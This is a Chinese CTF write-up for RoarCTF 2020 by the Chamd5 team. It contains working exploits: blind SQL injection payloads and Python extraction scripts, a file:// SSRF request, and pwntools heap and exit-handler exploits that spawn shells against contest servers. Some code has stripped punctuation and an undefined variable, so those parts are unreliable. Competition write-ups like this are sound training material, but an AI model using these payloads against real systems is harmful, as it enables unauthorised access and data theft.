RoarCTF-WriteUp

百家 作者:Chamd5安全团队 2020-12-08 19:52:09

WEB

ezsql

boolean payload:

username=admin'/**/%26%26/**/1=(case/**/when/**/2>3/**/THEN/**/(1)/**/ELSE/**/2/**/END)/**/%26%26/**/'1'='1&password=admin

password length 32

b4bc4c343ed120df3bff56d586e6d617

gml666

import requests
import time
import string
def inject(i, ascii):
    url = 'http://139.129.98.9:30003/login.php'
    payload = '''admin'/**/&&/**/1=(case/**/when/**/ascii(substr((password),{},1))={}/**/THEN/**/(1)/**/ELSE/**/2/**/END)/**/&&/**/'1'='1'''.format(i, ascii)
    
    print(payload)
    postdata={
        'password''admin',
        'username': payload
    }
    resp = requests.post(url, data=postdata)
    if resp.status_code==200:
        if 'password error' in resp.text:
            return True
    return False
res = ''
# b4bc4c343ed120df3bff56d586e6d617 gml666
#
for i in range(len(res)+1, len(res)+32):
    for ascii in string.printable:
        print("[-]%s %d(%s)"%(i, ord(ascii), ascii))
        if inject(i, ord(ascii)):
            res += (ascii)
            print(res)
            break

应该是要找表名,但是select,union都用不了,看了一下版本是 mysql8 那就是需要利用 mysql8 的特性来注入了

('def','ctt',null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null)<(table information_schema.tables limit 0,1);

ctt 是小于 mysql、information_schema、performance_schema、sys这几个系统库的,但是大于 ctf, 于是可以判断出来 ctf 库的数据表在information_schema.tables的位置

322 行开始

表:

admin

f11114g

列记录从3415行开始, 只有一列

password=admin&username=-1'/**/||/**/('flag{')<(table/**/ctf.f11114g/**/limit/**/1,1)#

flag{6a55e234-1ed0-455c-bbf3-6df6ddce9a57}

你能登陆成功吗

注入题,username 只能为 admin ,所以注入点在 password 。但是因为 password 不对,没办法走到后面

POST / HTTP/1.1
Host: 139.129.98.9:30005
Content-Length: 48
Cache-Control: max-age=0
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.67 Safari/537.36
Origin: http://139.129.98.9:30005
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://139.129.98.9:30005/
Accept-Encoding: gzip, deflate
Connection: close
username=admin&password=123'/**/and/**/1=1/**/--


时间盲注 payload:

admin'/**/and/**/1=(SELECT/**/1/**/FROM/**/pg_sleep(10))/**/--

利用

admin'/**/and/**/1=(case/**/when/**/1%3d1/**/then/**/(select/**/1/**/from/**/pg_sleep(5))/**/ELSE/**/1/**/END)/**/--

EXP:

import requests
import time
import string
def inject(i, ascii):
    url = 'http://139.129.98.9:30005/'
    payload = '''111'/**/or/**/1=(case/**/when/**/ascii(substr(users.password,{},1))={}/**/then/**/(select/**/1/**/from/**/pg_sleep(10))/**/ELSE/**/1/**/END)/**/--'''.format(i, ascii)
    print(payload)
    postdata={
        'username''admin',
        'password': payload
    }
    start_time=time.time()
    resp = requests.post(url, data=postdata)
    end_time = time.time()
    if int(end_time)-int(start_time) > 5:
        return True
    return False
res = 'Pg5QL1sF4ns1N4T1n9'
for i in range(len(res)+1, len(res)+19):
    for ascii in string.printable:
        print("[-]%s %d(%s)"%(i, ord(ascii), ascii))
        if inject(i, ord(ascii)):
            res += (ascii)
            print(res)
            break

密码Pg5QL1sF4ns1N4T1n9

flag{eb4aaa7f-1362-4f4c-9f5f-a7202518314b}

你能登陆成功吗-Revenge

直接用上面的 Exp 跑就行了,这次过滤了 password ,改成 Password 就能绕过了

import requests
import time
import string
def inject(i, ascii):
    url = 'http://139.129.98.9:30007/'
    payload = '''111'/**/or/**/1=(case/**/when/**/ascii(substr(users.PaSsword,{},1))={}/**/then/**/(select/**/1/**/from/**/pg_sleep(10))/**/ELSE/**/1/**/END)/**/--'''.format(i, ascii)
    print(payload)
    postdata={
        'username''admin',
        'password': payload
    }
    start_time=time.time()
    resp = requests.post(url, data=postdata)
    end_time = time.time()
    if int(end_time)-int(start_time) > 6:
        return True
    return False
#res = 'S0rryF0Rm1st4ke111'
res = ''
for i in range(len(res)+1, len(res)+19):
    for ascii in string.printable:
        print("[-]%s %d(%s)"%(i, ord(ascii), ascii))
        if inject(i, ord(ascii)):
            res += (ascii)
            print(res)
            break

admin 密码S0rryF0Rm1st4ke111

flag{5f2561bb-685e-4b36-927b-89ec76fec285}


Misc

签到题

http://47.104.232.98:32571/?url=file:///fla%67

Hi_433MHz

直接看图吧。图中是f的bin对应起来

一共 9 位,最后一个可以删除,窄的为0,宽的为1。依次把每一块读出来 binary 之后转ascii即可

01100110 01101100 01100001 01100111 01111011 00110010 00110101 01100011 00110010 00110001 01100010 00110000 01100100 00101101 00110110 01100001 00110001 00110001 00101101 00110100 00110011 00110001 00110010 00101101 00111001 00110111 00110001 01100010 00101101 00110100 00110010 00111000 01100100 00110000 00110001 01100011 01100100 01100011 00110101 00110011 00110100 01111101

FM

flag{82c83416-dadc-4947-80df-b84852b8f35d}

float32 i+q PCM
clc;
close all;
clear all;
fid=fopen('fm-sample-rate-2MHz.iq','r');
y=fread(fid,'float32');
fclose(fid);
i=numel(y)/2;
for n=1:i
    ci(n)=y(2*n-1);
    cq(n)=y(2*n);
end
Sn(1)=0;
for i=2:length(ci)  
Sn(i) =-(cq(i)*ci(i-1)-cq(i-1)*ci(i));
end
fid=fopen('dem.dat','w+');
fwrite(fid,Sn,'float32');
fclose(fid);

audacity load dem.dat output mp3 //吐槽下1ed分不太清楚

Crypto

Crypto_System

from pwn import *
from itertools import product
from hashlib import sha256
# context.log_level = "debug"
ip = "139.129.98.9"
port = 30001
sh = remote(ip,port)
def login(sh):
    # sh.recvlines(5)
    rec = sh.recvline().decode()
    suffix = re.findall(r'XXXX\+([^\)]+)', rec)[0]
    digest = re.findall(r'== ([^\n]+)', rec)[0]
    print(f"suffix: {suffix} \ndigest: {digest}")
    print('Calculating hash...')
    for i in product(string.ascii_letters + string.digits, repeat=4):
        prefix = ''.join(i)
        guess = prefix + suffix
        if sha256(guess.encode()).hexdigest() == digest:
            print(guess)
            # break
            sh.recvuntil(b'Give me XXXX:')
            sh.sendline(prefix.encode())
            return
from Crypto.Util.number import *
from gmpy2 import powmod
# These three are constants
p = 12039102490128509125925019010000012423515617235219127649182470182570195018265927223
g = 10729072579307052184848302322451332192456229619044181105063011741516558110216720725
def int2str(data, mode="big"):
    if mode == "little":
        return sum([ord(data[_]) * 2 ** (8 * _) for _ in range(len(data))])
    elif mode == "big":
        return sum([ord(data[::-1][_]) * 2 ** (8 * _) for _ in range(len(data))])
def get_parameter(m):
    x = int2str(m, 'little')
    y = powmod(g, x, p)
    # g^x mod p
    a = bytes_to_long(sha256(long_to_bytes(y).rjust(128b"\x00")).digest())
    b = powmod(a, a, p - 1)
    h = powmod(g, b, p)
    return y, h, b
login(sh)
sh.recvuntil(b'frist message(64 bytes):')
m1 = bytes.fromhex(sh.recvline().strip().decode())
sh.recvuntil(b'second message(64 bytes):')
m2 = bytes.fromhex(sh.recvline().strip().decode())
sh.recvuntil(b':')
r = int(sh.recvline().strip().decode())
def sign(m,r):
    y, h, b = get_parameter(m)
    s = (y * pow(h, r, p)) % p
    return str(r), str(s)
x = int2str(m1.decode(),'little')
y, h, b = get_parameter(m1.decode())
target = (x+b*r)%(p-1)
x2 = int2str(m2.decode(),'little')
y2, h2, b2 = get_parameter(m2.decode())
b2r2 = (x+b*r-x2)%(p-1)
r2 = (b2r2*inverse(b2,p-1))//2

print(sign(m1.decode(),r))
print(sign(m2.decode(),r2))
sh.interactive()

Reverse

flag{b92d9b6c-e75d-4cbb-bc39-bf39a2f57c3f}

from Crypto.Util.number import long_to_bytes
from gmpy2 import *
p = 13299413764048930133302138749466137829470129709829516069778014310838093114516400589047888072065037035007023741009041669893387899867083575829855377403280423
q = 11954360020159164180709939019047385560179850436770100207193049651260543609501871575909448998378290922795824941066935928157032997160163537467165365731882943
c = 103728452309804750381455306214814700768557462686461157761076359181984554990431665209165298725569861567865645228742739676539208228770740802323555281253638825837621845841771677911598039696705908004858472132222470347720085501572979109563593281375095145984000628623881592799662103680478967594601571867412886606745
phi = (p-1)*(q-1)
e = 65537
d = invert(e,phi)
m = pow(c,d,n)
print(long_to_bytes(m))

Pwn

2a1

exit中会调用__call_tls_dtors遍历tls_dtor_list调用函数,可以将tls_dtor_list覆盖为堆地址便可以控制调用函数和其参数

后续会将对堆中的内容进行循环右移和异或,所以我们需要leak异或的数值,然后再运算得到即可

由于远程tls_dtor_list的地址与本地不同,通过测试大概要爆破1/256

from pwn import *
context.log_level = 'debug'
#p = process("./2+1")
for i in range(256):
   try:
      p = remote("47.104.178.87",40444)
      libc = ELF("./libc-2.23.so")
      p.recvuntil("Gift: 0x")
      libc.address = int(p.recv(12), 16)-libc.sym['alarm']
      print hex(libc.address)
      #gdb.attach(p)
      p.sendafter("read?:", p64(libc.address-0x7ffff7a0d000+0x7ffff7ffcc70))
      p.recv(6)
      xor = u64(p.recv(8))
      p.sendafter("write?:", p64(libc.address+0x5006c0+0x1000*(256-i)))
      num = (libc.sym['system'])^xor
      print hex(xor)
      #gdb.attach(p)
      p.sendafter("msg: ", p64(((num>>47)|(num<<17))&0xffffffffffffffff)+p64(libc.search("/bin/sh").next()))
      p.sendline("echo 123")
      p.sendline("echo 123")
      p.recvuntil("123")
      p.interactive()
   except:
      print "fail",i

easy_pwn

edit可以负数溢出,导致可以越界写下一个符号的符号名地址和大小

这样就可以利用修改地址来任意读写,接下来修改malloc_hook即可getshell

from pwn import *
context.log_level = 'debug'
p = remote("47.105.44.8"31760)
libc = ELF("./libc-2.23.so")
def add(grammar):
 p.sendlineafter("your choice:""1")
 p.sendlineafter("grammar:\n", grammar)
def edit(non, size, new):
 p.sendlineafter("your choice:""4")
 p.sendlineafter("Non-Terminal:\n", non)
 p.sendlineafter("size:", str(size))
 p.send(new)
def show():
 p.sendlineafter("your choice:""2")
grammar = '''S -> %s
A -> S
exit'''
%("a"*0x100)
add(grammar)
heap = ""
edit('S',0xffffffff'\x00'*0x28+'\x68')
show()
p.recvuntil("\x2d\x3e\x20\x0a\x20\x20")
heap+=p.recv(1)
edit('\x00',0xffffffff'\x00'*0x28+'\x69')
show()
p.recvuntil("\x2d\x3e\x20\x0a\x20\x20")
heap+=p.recv(1)
edit('\x00',0xffffffff'\x00'*0x28+'\x6a')
show()
p.recvuntil("\x2d\x3e\x20\x0a\x20\x20")
heap+=p.recv(1)
edit('\x00',0xffffffff'\x00'*0x28+'\x6b')
show()
p.recvuntil("\x2d\x3e\x20\x0a\x20\x20")
heap+=p.recv(1)
edit('\x00',0xffffffff'\x00'*0x28+'\x6c')
show()
p.recvuntil("\x2d\x3e\x20\x0a\x20\x20")
heap+=p.recv(1)
edit('\x00',0xffffffff'\x00'*0x28+'\x6d')
show()
p.recvuntil("\x2d\x3e\x20\x0a\x20\x20")
heap+=p.recv(1)
heap = u64(heap+'\x00'*2)
print hex(heap)
edit('\x00',0xffffffff'\x00'*0x28+p64(heap+0x1d0)+'\x08')
show()
p.recvuntil("\x2d\x3e\x20\x0a\x20\x20")
libc.address = u64(p.recv(6)+'\x00'*2)-0x7ffff7839b78+0x7ffff7475000
print hex(libc.address)
edit('\x00',0xffffffff'\x00'*0x28+p64(libc.sym['__malloc_hook'])+'\x08')
edit('\x00'*88, p64(libc.address+0xf1207))
p.interactive()

Reverse

slime_war

魔塔- -

secret 5

  • 输入whosyourdaddy

  • 拿到magicbook在第二层38,6按t后最短路径到T

  • 上隐藏层12后出来

  • 属性值hash足条件

  • 打败boss

关键地址

更多 Writeup 详情

查看以下链接或点击文末阅读原文

https://github.com/ChaMd5Team/Venom-WP/blob/main/2020-ROARCTF-WriteUp.pdf

喜欢记得右下角点赞喔qwq


招新小广告

ChaMd5 Venom 招收大佬入圈

新成立组IOT+工控+样本分析 长期招新

欢迎联系admin@chamd5.org



关注公众号:拾黑(shiheibook)了解更多

[广告]赞助链接:

四季很好,只要有你,文娱排行榜:https://www.yaopaiming.com/
让资讯触达的更精准有趣:https://www.0xu.cn/

公众号 关注网络尖刀微信公众号
随时掌握互联网精彩
赞助链接